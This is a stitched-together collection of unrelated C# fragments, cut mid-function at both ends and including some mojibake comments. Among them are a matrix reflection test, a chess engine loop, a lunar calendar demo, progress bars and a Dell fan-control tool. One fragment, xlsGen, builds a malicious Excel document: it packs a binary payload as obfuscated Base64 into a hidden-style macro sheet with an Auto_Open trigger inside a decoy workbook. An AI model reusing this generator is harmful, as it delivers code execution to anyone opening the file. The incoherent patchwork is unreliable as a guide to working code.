          c[index2, index3] = numArray11[index2, index3];
        }
      }
      reflections.generatereflection(ref numArray9, num3, ref tau);
      num1 = numArray9[1];
      numArray9[1] = 1.0;
      reflections.applyreflectionfromtheright(ref c, tau, ref numArray9, 1, num4, 1, num3, ref work);
      for (int index2 = 1; index2 <= num3; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
          numArray10[index2, index3] = index2 != index3 ? -(tau * numArray9[index2] * numArray9[index3]) : 1.0 - tau * numArray9[index2] * numArray9[index3];
      }
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
        {
          double num8 = 0.0;
          for (int index4 = 1; index4 <= num3; ++index4)
            num8 += numArray11[index2, index4] * numArray10[index4, index3];
          numArray12[index2, index3] = num8;
        }
      }
      double num10 = 0.0;
      for (int index2 = 1; index2 <= num4; ++index2)
      {
        for (int index3 = 1; index3 <= num3; ++index3)
          num10 = System.Math.Max(num10, System.Math.Abs(c[index2, index3] - numArray12[index2, index3]));
      }
      val1_1 = System.Math.Max(val1_1, num10);
    }
    numArray1 = new double[11];
    double[] x = new double[11];
    for (int index = 1; index <= 10; ++index)
      x[index] = 1E+298 * (2.0 * AP.Math.RandomReal() - 1.0);
    reflections.generatereflection(ref x, 10, ref tau);
    Console.Write("TESTING REFLECTIONS");
    Console.WriteLine();
    Console.Write("Preplaced count is ");
    Console.Write("{0,0:d}", (object) num2);
    Console.WriteLine();
    Console.Write("Generate     absolute error is       ");
    Console.Write("{0,5:E3}", (object) val1_3);
    Console.WriteLine();
    Console.Write("Apply(Left)  absolute error is       ");
    Console.Write("{0,5:E3}", (object) val1_2);
    Console.WriteLine();
    Console.Write("Apply(Right) absolute error is       ");
    Console.Write("{0,5:E3}", (object) val1_1);
    Console.WriteLine();
    Console.Write("Overflow crash test preplaceded");
    Console.WriteLine();
  }

private void CheckAvailable(int interval)
        {

            new Thread(() =>
            {

                if (UnavailableException != null)
                {
                    var bgcolor = Console.BackgroundColor;
                    var forecolor = Console.ForegroundColor;
                    Console.BackgroundColor = ConsoleColor.DarkYellow;
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.Write($"【{Policy.Name}】恢复检查时间：{DateTime.Now.AddSeconds(interval)}");
                    Console.BackgroundColor = bgcolor;
                    Console.ForegroundColor = forecolor;
                    Console.WriteLine();
                }

                while (UnavailableException != null)
                {

                    if (running == false) return;

                    Thread.CurrentThread.Join(TimeSpan.FromSeconds(interval));

                    if (running == false) return;

                    try
                    {

                        var conn = getFree(false);
                        if (conn == null) throw new Exception($"CheckAvailable 无法获得资源，{this.Statistics}");

                        try
                        {

                            if (Policy.OnCheckAvailable(conn) == false) throw new Exception("CheckAvailable 应抛出异常，代表仍然不可用。");
                            break;

                        }
                        finally
                        {

                            Return(conn);
                        }

                    }
                    catch (Exception ex)
                    {
                        var bgcolor = Console.BackgroundColor;
                        var forecolor = Console.ForegroundColor;
                        Console.BackgroundColor = ConsoleColor.DarkYellow;
                        Console.ForegroundColor = ConsoleColor.White;
                        Console.Write($"【{Policy.Name}】仍然不可用，下一次恢复检查时间：{DateTime.Now.AddSeconds(interval)}，错误：({ex.Message})");
                        Console.BackgroundColor = bgcolor;
                        Console.ForegroundColor = forecolor;
                        Console.WriteLine();
                    }
                }

                RestoreToAvailable();

            }).Start();
        }

private void RestoreToAvailable()
        {

            bool isRestored = false;
            if (UnavailableException != null)
            {

                lock (UnavailableLock)
                {

                    if (UnavailableException != null)
                    {

                        UnavailableException = null;
                        UnavailableTime = null;
                        isRestored = true;
                    }
                }
            }

            if (isRestored)
            {

                lock (_allObjectsLock)
                    _allObjects.ForEach(a => a.LastGetTime = a.LastReturnTime = new DateTime(2000, 1, 1));

                Policy.OnAvailable();

                var bgcolor = Console.BackgroundColor;
                var forecolor = Console.ForegroundColor;
                Console.BackgroundColor = ConsoleColor.DarkGreen;
                Console.ForegroundColor = ConsoleColor.White;
                Console.Write($"【{Policy.Name}】已恢复工作");
                Console.BackgroundColor = bgcolor;
                Console.ForegroundColor = forecolor;
                Console.WriteLine();
            }
        }

internal static void WriteLine(string text, ConsoleColor backgroundColor)
        {
            try
            {
                var bgcolor = Console.BackgroundColor;
                var forecolor = Console.ForegroundColor;
                Console.BackgroundColor = backgroundColor;

                switch (backgroundColor)
                {
                    case ConsoleColor.DarkYellow:
                        Console.ForegroundColor = ConsoleColor.White;
                        break;
                    case ConsoleColor.DarkGreen:
                        Console.ForegroundColor = ConsoleColor.White;
                        break;
                }
                Console.Write(text);
                Console.BackgroundColor = bgcolor;
                Console.ForegroundColor = forecolor;
                Console.WriteLine();
            }
            catch
            {
                try
                {
                    System.Diagnostics.Debug.WriteLine(text);
                }
                catch { }
            }
        }

private static void RunEngine()
	{
		bool ShowBoard = false;

		var engine = new Engine();



		Console.WriteLine("Chess Core");
		Console.WriteLine("Created by Adam Berent");
		Console.WriteLine("Version: 1.0.1");
		Console.WriteLine("");
		Console.WriteLine("Type quit to exit");
		Console.WriteLine("Type show to show board");
		Console.WriteLine("");
		Console.WriteLine("feature setboard=1");


		while (true)
		{
			try
			{
				if (ShowBoard)
				{
					DrawBoard(engine);
				}

				if (engine.WhoseMove != engine.HumanPlayer)
				{
					MakeEngineMove(engine);
				}
				else
				{
					Console.WriteLine();

					string move = Console.ReadLine();

					if (String.IsNullOrEmpty(move))
					{
						continue;
					}

					move = move.Trim();


					if (move == "new")
					{
						engine.NewGame();
						continue;
					}
					if (move == "quit")
					{
						return;
					}
					if (move == "xboard")
					{
						continue;
					}
					if (move == "show")
					{
						ShowBoard = !ShowBoard;

						continue;
					}
					if (move.StartsWith("edit"))
					{
						continue;
					}
					if (move == "hint")
					{
						continue;
					}
					if (move == "bk")
					{
						continue;
					}
					if (move == "undo")
					{
						engine.Undo();
						continue;
					}
					if (move == "remove")
					{
						continue;
					}
					if (move == "remove")
					{
						continue;
					}
					if (move == "hard")
					{
						engine.GameDifficulty = Engine.Difficulty.Hard;
						continue;
					}
					if (move == "easy")
					{
						continue;
					}
					if (move.StartsWith("accepted"))
					{
						continue;
					}
					if (move.StartsWith("rejected"))
					{
						continue;
					}
					if (move.StartsWith("variant"))
					{
						continue;
					}
					if (move == "random")
					{
						continue;
					}
					if (move == "force")
					{
						continue;
					}
					if (move == "go")
					{
						continue;
					}
					if (move == "playother")
					{
						if (engine.WhoseMove == ChessPieceColor.White)
						{
							engine.HumanPlayer = ChessPieceColor.Black;
						}
						else if (engine.WhoseMove == ChessPieceColor.Black)
						{
							engine.HumanPlayer = ChessPieceColor.White;
						}

						continue;
					}
					if (move == "white")
					{
						engine.HumanPlayer = ChessPieceColor.Black;

						if (engine.WhoseMove != engine.HumanPlayer)
						{
							MakeEngineMove(engine);
						}
						continue;
					}
					if (move == "black")
					{
						engine.HumanPlayer = ChessPieceColor.White;

						if (engine.WhoseMove != engine.HumanPlayer)
						{
							MakeEngineMove(engine);
						}
						continue;
					}

					if (move.StartsWith("level"))
					{
						continue;
					}
					if (move.StartsWith("st"))
					{
						continue;
					}
					if (move.StartsWith("sd"))
					{
						continue;
					}
					if (move.StartsWith("time"))
					{
						continue;
					}
					if (move.StartsWith("otim"))
					{
						continue;
					}
					if (move.StartsWith("otim"))
					{
						continue;
					}
					if (move == "?")
					{
						continue;
					}
					if (move.StartsWith("ping"))
					{
						if (move.IndexOf(" ") > 0)
						{
							string pong = move.Substring(move.IndexOf(" "), move.Length - move.IndexOf(" "));

							Console.WriteLine("pong " + pong);
						}
						continue;
					}

					if (move.StartsWith("result"))
					{
						continue;
					}

					if (move.StartsWith("setboard"))
					{
						if (move.IndexOf(" ") > 0)
						{
							string fen = move.Substring(move.IndexOf(" "), move.Length - move.IndexOf(" ")).Trim();

							engine.InitiateBoard(fen);
						}

						continue;
					}

					if (move.StartsWith("setboard"))
					{
						continue;
					}
					if (move.StartsWith("edit"))
					{
						engine.NewGame();
						continue;
					}
					if (move.StartsWith("1/2-1/2"))
					{
						engine.NewGame();
						continue;
					}
					if (move.StartsWith("0-1"))
					{
						engine.NewGame();
						continue;
					}
					if (move.StartsWith("1-0"))
					{
						engine.NewGame();
						continue;
					}

					if (move.Length < 4)
					{
						continue;
					}

					if (move.Length > 5)
					{
						continue;
					}

					string src = move.Substring(0, 2);
					string dst = move.Substring(2, 2);


					byte srcCol;
					byte srcRow;
					byte dstRow;
					byte dstCol;

					try
					{
						srcCol = GetColumn(src);
						srcRow = GetRow(src);
						dstRow = GetRow(dst);
						dstCol = GetColumn(dst);
					}
					catch (Exception ex)
					{
						Console.WriteLine(ex.Message);
						continue;
					}

					if (!engine.IsValidMove(srcCol, srcRow, dstCol, dstRow))
					{
						Console.WriteLine("Invalid Move");
						continue;
					}

					engine.MovePiece(srcCol, srcRow, dstCol, dstRow);

					MakeEngineMove(engine);
					    

					if (engine.StaleMate)
					{
						if (engine.InsufficientMaterial)
						{
							Console.WriteLine("1/2-1/2 {Draw by insufficient material}");
						}
						else if (engine.RepeatedMove)
						{
							Console.WriteLine("1/2-1/2 {Draw by repereplacedion}");
						}
						else if (engine.FiftyMove)
						{
							Console.WriteLine("1/2-1/2 {Draw by fifty move rule}");
						}
						else
						{
							Console.WriteLine("1/2-1/2 {Stalemate}");
						}
						engine.NewGame();
					}
					else if (engine.GetWhiteMate())
					{
						Console.WriteLine("0-1 {Black mates}");
						engine.NewGame();
					}
					else if (engine.GetBlackMate())
					{
						Console.WriteLine("1-0 {White mates}");
						engine.NewGame();
					}
				}
			}
			catch (Exception ex)
			{
				Console.WriteLine(ex.Message);
				return;
			}
		}
	}

private static void DrawBoard(Engine engine)
	{
		//Console.Clear();

		for (byte i = 0; i < 64; i++)
		{
			if (i % 8 == 0)
			{
				Console.WriteLine();
				Console.WriteLine(" ---------------------------------");
				Console.Write((8 - (i / 8)));
			}

			ChessPieceType PieceType = engine.GetPieceTypeAt(i);
			ChessPieceColor PieceColor = engine.GetPieceColorAt(i);
			string str;

			switch (PieceType)
			{
				case ChessPieceType.Pawn:
					{
						str = "| " + "P ";
						break;
					}
				case ChessPieceType.Knight:
					{
						str = "| " + "N ";
						break;
					}
				case ChessPieceType.Bishop:
					{
						str = "| " + "B ";
						break;
					}
				case ChessPieceType.Rook:
					{
						str = "| " + "R ";
						break;
					}

				case ChessPieceType.Queen:
					{
						str = "| " + "Q ";
						break;
					}

				case ChessPieceType.King:
					{
						str = "| " + "K ";
						break;
					}
				default:
					{
						str = "| " + "  ";
						break;
					}
			}

			if (PieceColor == ChessPieceColor.Black)
			{
				str = str.ToLower();
			}

			Console.Write(str);

			if (i % 8 == 7)
			{
				Console.Write("|");
			}
		}

		Console.WriteLine();
		Console.WriteLine(" ---------------------------------");
		Console.WriteLine("   A   B   C   D   E   F   G   H");

	}

private static void MakeEngineMove(Engine engine)
	{
		DateTime start = DateTime.Now;

		engine.AiPonderMove();

		MoveContent lastMove = engine.GetMoveHistory().ToArray()[0];

		string tmp = "";

		var sourceColumn = (byte)(lastMove.MovingPiecePrimary.SrcPosition % 8);
		var srcRow = (byte)(8 - (lastMove.MovingPiecePrimary.SrcPosition / 8));
		var destinationColumn = (byte)(lastMove.MovingPiecePrimary.DstPosition % 8);
		var destinationRow = (byte)(8 - (lastMove.MovingPiecePrimary.DstPosition / 8));

		tmp += GetPgnMove(lastMove.MovingPiecePrimary.PieceType);

		if (lastMove.MovingPiecePrimary.PieceType == ChessPieceType.Knight)
		{
			tmp += GetColumnFromInt(sourceColumn + 1);
			tmp += srcRow;
		}
		else if (lastMove.MovingPiecePrimary.PieceType == ChessPieceType.Rook)
		{
			tmp += GetColumnFromInt(sourceColumn + 1);
			tmp += srcRow;
		}
		else if (lastMove.MovingPiecePrimary.PieceType == ChessPieceType.Pawn)
		{
			if (sourceColumn != destinationColumn)
			{
				tmp += GetColumnFromInt(sourceColumn + 1);
			}
		}

		if (lastMove.TakenPiece.PieceType != ChessPieceType.None)
		{
			tmp += "x";
		}

		tmp += GetColumnFromInt(destinationColumn + 1);

		tmp += destinationRow;

		if (lastMove.PawnPromotedTo == ChessPieceType.Queen)
		{
			tmp += "=Q";
		}
		else if (lastMove.PawnPromotedTo == ChessPieceType.Rook)
		{
			tmp += "=R";
		}
		else if (lastMove.PawnPromotedTo == ChessPieceType.Knight)
		{
			tmp += "=K";
		}
		else if (lastMove.PawnPromotedTo == ChessPieceType.Bishop)
		{
			tmp += "=B";
		}

		DateTime end = DateTime.Now;

		TimeSpan ts = end - start;

		Console.Write(engine.PlyDepthReached + " ");

		int score = engine.GetScore();

		if (score > 0)
		{
			score = score / 10;
		}

		Console.Write(score + " ");
		Console.Write(ts.Seconds * 100 + " ");
		Console.Write(engine.NodesSearched + engine.NodesQuiessence + " ");
		Console.Write(engine.PvLine);
		Console.WriteLine();

		Console.Write("move ");
		Console.WriteLine(tmp);
	}

public static void logo()
        {
            Console.WriteLine();
            Console.WriteLine("###################################################");
            Console.WriteLine("#  __  __ ___ _   _ ___ ____  _   _ __  __ ____   #");
            Console.WriteLine("# |  \\/  |_ _| \\ | |_ _|  _ \\| | | |  \\/  |  _ \\  #");
            Console.WriteLine("# | |\\/| || ||  \\| || || | | | | | | |\\/| | |_) | #");
            Console.WriteLine("# | |  | || || |\\  || || |_| | |_| | |  | |  __/  #");
            Console.WriteLine("# |_|  |_|___|_| \\_|___|____/ \\___/|_|  |_|_|     #");
            Console.WriteLine("#                                                 #");
            Console.WriteLine("###################################################");
            Console.WriteLine();
        }

public static void logo()
        {
            Console.WriteLine();
            Console.WriteLine("##########################################################################");
            Console.WriteLine("#   ____  ____  ______ _    _  _____  _____       _______ ____  _____   #");
            Console.WriteLine("#  / __ \\|  _ \\|  ____| |  | |/ ____|/ ____|   /\\|__   __/ __ \\|  __ \\  #");
            Console.WriteLine("# | |  | | |_) | |__  | |  | | (___ | |       /  \\  | | | |  | | |__) | #");
            Console.WriteLine("# | |  | |  _ <|  __| | |  | |\\___ \\| |      / /\\ \\ | | | |  | |  _  /  #");
            Console.WriteLine("# | |__| | |_) | |    | |__| |____) | |____ / ____ \\| | | |__| | | \\ \\  #");
            Console.WriteLine("#  \\____/|____/|_|     \\____/|_____/ \\_____/_/    \\_\\_|  \\____/|_|  \\_\\ #");
            Console.WriteLine("##########################################################################");
            Console.WriteLine();
        }

static void Main(string[] args)
        {
            // ����
            Solar solar = new Solar(2020, 5, 26, 23, 42, 0);
            Console.WriteLine(solar);
            Console.WriteLine(solar.toFullString());

            // ����
            Lunar lunar = solar.getLunar();
            Console.WriteLine(lunar);
            Console.WriteLine(lunar.toFullString());

            // ����
            EightChar baZi = lunar.getEightChar();
            Console.WriteLine(baZi.getYear() + " " + baZi.getMonth() + " " + baZi.getDay() + " " + baZi.getTime());

            // ��������
            Console.WriteLine(baZi.getYearNaYin() + " " + baZi.getMonthNaYin() + " " + baZi.getDayNaYin() + " " + baZi.getTimeNaYin());

            // ��������
            Console.WriteLine(baZi.getYearWuXing() + " " + baZi.getMonthWuXing() + " " + baZi.getDayWuXing() + " " + baZi.getTimeWuXing());

            // �������ʮ��
            Console.WriteLine(baZi.getYearShiShenGan() + " " + baZi.getMonthShiShenGan() + " " + baZi.getDayShiShenGan() + " " + baZi.getTimeShiShenGan());

            // ���ֵ�֧ʮ��
            Console.WriteLine(baZi.getYearShiShenZhi()[0] + " " + baZi.getMonthShiShenZhi()[0] + " " + baZi.getDayShiShenZhi()[0] + " " + baZi.getTimeShiShenZhi()[0]);

            // ������֧ʮ��
            foreach (string s in baZi.getYearShiShenZhi())
            {
                Console.Write(s + " ");
            }
            Console.WriteLine();

            // ������֧ʮ��
            foreach (string s in baZi.getMonthShiShenZhi())
            {
                Console.Write(s + " ");
            }
            Console.WriteLine();

            // ������֧ʮ��
            foreach (string s in baZi.getDayShiShenZhi())
            {
                Console.Write(s + " ");
            }
            Console.WriteLine();

            // ����ʱ֧ʮ��
            foreach (string s in baZi.getTimeShiShenZhi())
            {
                Console.Write(s + " ");
            }
            Console.WriteLine();

            // ����̥Ԫ
            Console.WriteLine(baZi.getTaiYuan());

            // ��������
            Console.WriteLine(baZi.getMingGong());

            // �������
            Console.WriteLine(baZi.getShenGong());

            Console.WriteLine();
            solar = new Solar(1988, 3, 20, 18, 0, 0);
            lunar = solar.getLunar();
            EightChar bazi = lunar.getEightChar();

            // ����
            Yun yun = bazi.getYun(1);
            Console.WriteLine("����" + solar.toYmdHms() + "����");
            Console.WriteLine("����" + yun.getStartYear() + "��" + yun.getStartMonth() + "����" + yun.getStartDay() + "�������");
            Console.WriteLine("����" + yun.getStartSolar().toYmd() + "������");
            Console.WriteLine();

            // �ڼ���
            List<Holiday> holidays = HolidayUtil.getHolidays(2012);
            foreach (Holiday holiday in holidays)
            {
                Console.WriteLine(holiday);
            }
            Console.WriteLine();

            // ����ת����
            List<Solar> solars = Solar.fromBaZi("����", "����", "��î", "����");
            foreach (Solar d in solars)
            {
                Console.WriteLine(d.toFullString());
            }
            Console.WriteLine();

            Console.ReadLine();
        }

private static async Task Main()
        {
            Console.Clear();
            await Task.Delay(2000);
            await ConsoleProgressBars();
            Console.WriteLine();

            await FileTransferProgressBars();
            Console.WriteLine();
        }

private static async Task TestProgressBar(ConsoleProgressBar progress, int num)
        {
            Console.Write($"{num}. Performing some task... ");
            using (progress)
            {
                for (var i = 0; i <= 150; i++)
                {
                    progress.Report((double) i / 150);
                    await Task.Delay(20);
                }

                progress.Report(1);
                await Task.Delay(200);
            }

            Console.WriteLine();
        }

private static async Task TestFileTransferProgressBar(FileTransferProgressBar progress, long fileSize, int num)
        {
            Console.Write($"{num}. File transfer in progress... ");
            using (progress)
            {
                for (var i = 0; i <= 150; i++)
                {
                    progress.BytesReceived = i * (fileSize / 150);
                    progress.Report((double) i / 150);
                    await Task.Delay(20);
                }

                progress.BytesReceived = fileSize;
                progress.Report(1);
                await Task.Delay(200);
            }

            Console.WriteLine();
        }

public void Calculate(AccelChartData data, ManagedAccel accel, double starter, ICollection<SimulatedMouseInput> simulatedInputData)
        {
            double lastInputMagnitude = 0;
            double lastOutputMagnitude = 0;
            SimulatedMouseInput lastInput;
            double lastSlope = 0;

            double maxRatio = 0.0;
            double minRatio = Double.MaxValue;
            double maxSlope = 0.0;
            double minSlope = Double.MaxValue;

            double log = -2;
            int index = 0;
            int logIndex = 0;

            foreach (var simulatedInputDatum in simulatedInputData)
            {
                if (simulatedInputDatum.velocity <= 0)
                {
                    continue;
                }

                var output = accel.Accelerate(simulatedInputDatum.x, simulatedInputDatum.y, 1, simulatedInputDatum.time);
                var outMagnitude = DecimalCheck(Velocity(output.Item1, output.Item2, simulatedInputDatum.time));
                var inDiff = Math.Round(simulatedInputDatum.velocity - lastInputMagnitude, 5);
                var outDiff = Math.Round(outMagnitude - lastOutputMagnitude, 5);

                if (inDiff == 0)
                {
                    continue;
                }

                if (!data.VelocityPoints.ContainsKey(simulatedInputDatum.velocity))
                {
                    data.VelocityPoints.Add(simulatedInputDatum.velocity, outMagnitude);
                }
                else
                {
                    continue;
                }

                while (Math.Pow(10,log) < outMagnitude && logIndex < data.LogToIndex.Length)
                {
                    data.LogToIndex[logIndex] = index;
                    log += 0.01;
                    logIndex++;
                }

                var ratio = DecimalCheck(outMagnitude / simulatedInputDatum.velocity);
                var slope = DecimalCheck(inDiff > 0 ? outDiff / inDiff : starter);

                if (slope < lastSlope)
                {
                    Console.WriteLine();
                }

                if (ratio > maxRatio)
                {
                    maxRatio = ratio;
                }

                if (ratio < minRatio)
                {
                    minRatio = ratio;
                }

                if (slope > maxSlope)
                {
                    maxSlope = slope;
                }

                if (slope < minSlope)
                {
                    minSlope = slope;
                }

                if (!data.AccelPoints.ContainsKey(simulatedInputDatum.velocity))
                {
                    data.AccelPoints.Add(simulatedInputDatum.velocity, ratio);
                }

                if (!data.GainPoints.ContainsKey(simulatedInputDatum.velocity))
                {
                    data.GainPoints.Add(simulatedInputDatum.velocity, slope);
                }

                lastInputMagnitude = simulatedInputDatum.velocity;
                lastOutputMagnitude = outMagnitude;
                index += 1;
                lastInput = simulatedInputDatum;
                lastSlope = slope;
            }

            index--;

            while (log <= 5.0)
            {
                data.LogToIndex[logIndex] = index;
                log += 0.01;
                logIndex++;
            }

            data.MaxAccel = maxRatio;
            data.MinAccel = minRatio;
            data.MaxGain = maxSlope;
            data.MinGain = minSlope;
        }

static void Main(string[] args) 
            {
            Console.WriteLine(@" ====================================== ");
            Console.WriteLine(@"  xlsGen v1.0, by [email protected]");
            Console.WriteLine(@"  github.com/aaaddress1/xlsGen");
            Console.WriteLine(@" ====================================== ");
            Console.WriteLine();

            var decoyDocPath = @"decoy_doreplacedent.xls";
                Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);

                List<BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();

                WorkbookStream wbs = LoadDecoyDoreplacedent(decoyDocPath);
                Console.WriteLine(wbs.ToDisplayString()); // that'll be cool if there's a hex-print :)

                List<string> sheetNames = wbs.GetAllRecordsByType<BoundSheet8>().Select(bs => bs.stName.Value).ToList();
                List<string> preambleCode = new List<string>();
                WorkbookEditor wbe = new WorkbookEditor(wbs);

                var macroSheetName = "Sheet2";
                wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.Visible);

                List<string> macros = null;
                byte[] binaryPayload = null;
                int rwStart = 0, colStart = 2, dstRwStart = 0, dstColStart = 0;
                int curRw = rwStart, curCol = colStart;

        
                binaryPayload = File.ReadAllBytes("popcalc.bin");
                wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod.Base64);
                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
                macros = MacroPatterns.GetBase64DecodePattern(preambleCode);

            //Orginal: wbe.SetMacroSheetContent(macros, 0, 2, dstRwStart, dstColStart, SheetPackingMethod.ObfuscatedCharFuncAlt);
            macros.Add("=GOTO(R1C1)");
                wbe.SetMacroSheetContent_NoLoader(macros, rwStart, colStart);
                wbe.InitializeGlobalStreamLabels();
                wbe.AddLabel("Auto_Open", rwStart, colStart);

            #region save Workbook Stream to file
            WorkbookStream createdWorkbook = wbe.WbStream;
            ExcelDocWriter writer = new ExcelDocWriter();
            string outputPath = "a.xls";
            Console.WriteLine("Writing generated doreplacedent to {0}", outputPath);
            writer.WriteDoreplacedent(outputPath, createdWorkbook, null);
            #endregion 
        }

[STAThread]
        static int Main(string[] args)
        {
            if (args.Length == 0)
            {
                // GUI mode.
                try
                {
                    if (UacHelper.IsProcessElevated())
                    {
                        // Looks like we're ready to start up the GUI app.
                        // Set process priority to high.
                        Process.GetCurrentProcess().PriorityClreplaced = ProcessPriorityClreplaced.High;

                        // Boilerplate code to start the app.
                        Application.SetHighDpiMode(HighDpiMode.DpiUnaware);
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        Application.Run(new DellFanManagementGuiForm());
                    }
                    else
                    {
                        MessageBox.Show("This program must be run with administrative privileges.", "Dell Fan Management privilege check", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                catch (Exception exception)
                {
                    MessageBox.Show(string.Format("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace),
                        "Error starting application", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return 1;
                }

                return 0;
            }
            else
            {
                // CMD mode.
                try
                {
                    Console.WriteLine("Dell Fan Management, version {0}", Version);
                    Console.WriteLine("By Aaron Kelley");
                    Console.WriteLine("Licensed under GPLv3");
                    Console.WriteLine("Source code available at https://github.com/AaronKelley/DellFanManagement");
                    Console.WriteLine();

                    if (UacHelper.IsProcessElevated())
                    {
                        if (args[0].ToLower() == "packagetest")
                        {
                            return PackageTest.RunPackageTests() ? 0 : 1;
                        }
                        else if (args[0].ToLower() == "setthermalsetting")
                        {
                            return SetThermalSetting.ExecuteSetThermalSetting(args);
                        }
                        else if (args[0].ToLower() == "smi-token-dump")
                        {
                            return SmiTokenDump();
                        }
                        else if (args[0].ToLower() == "smi-get-token")
                        {
                            return SmiGetToken(args);
                        }
                        else if (args[0].ToLower() == "smi-set-token")
                        {
                            return SmiSetToken(args);
                        }
                        else
                        {
                            Console.WriteLine("Dell SMM I/O driver by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/bzh-windrv-dell-smm-io");
                            Console.WriteLine();
                            Console.WriteLine("Derived from \"Dell fan utility\" by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/dell-fan-utility");
                            Console.WriteLine();

                            return DellFanCmd.ProcessCommand(args);
                        }
                    }
                    else
                    {
                        Console.WriteLine();
                        Console.WriteLine("This program must be run with administrative privileges.");
                        return 1;
                    }
                }
                catch (Exception exception)
                {
                    Console.Error.WriteLine("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace);
                    return 1;
                }
            }
        }

public static int ProcessCommand(string[] args)
        {
            int returnCode = 0;

            try
            {
                if (args.Length != 1)
                {
                    Usage();
                }
                else
                {
                    // Behavior variables.
                    bool disableEcFanControl = false;
                    bool enableEcFanControl = false;
                    bool setFansToMax = false;
                    bool useAlternateCommand = false;
                    bool setFanLevel = false;
                    bool getFanRpm = false;
                    bool runTest = false;
                    BzhFanIndex fanSelection = BzhFanIndex.Fan1;
                    BzhFanLevel fanLevel = BzhFanLevel.Level0;

                    // Figure out what was requested.
                    if (args[0] == "ec-disable")
                    {
                        disableEcFanControl = true;
                        setFansToMax = true;
                    }
                    else if (args[0] == "ec-disable-nofanchg")
                    {
                        disableEcFanControl = true;
                    }
                    else if (args[0] == "ec-enable")
                    {
                        enableEcFanControl = true;
                    }
                    else if (args[0] == "ec-disable-alt")
                    {
                        disableEcFanControl = true;
                        setFansToMax = true;
                        useAlternateCommand = true;
                    }
                    else if (args[0] == "ec-disable-alt-nofanchg")
                    {
                        disableEcFanControl = true;
                        useAlternateCommand = true;
                    }
                    else if (args[0] == "ec-enable-alt")
                    {
                        enableEcFanControl = true;
                        useAlternateCommand = true;
                    }
                    else if (args[0] == "fan1-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan1;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan1-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan1;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan1-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan1;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan2-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan2;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan2-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan2;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan2-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan2;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan3-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan3;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan3-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan3;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan3-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan3;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan4-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan4;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan4-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan4;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan4-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan4;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan5-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan5;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan5-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan5;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan5-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan5;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan6-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan6;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan6-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan6;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan6-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan6;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan7-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan7;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan7-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan7;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan7-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan7;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "rpm-fan1")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan1;
                    }
                    else if (args[0] == "rpm-fan2")
                    {
                        getFanRpm = true;
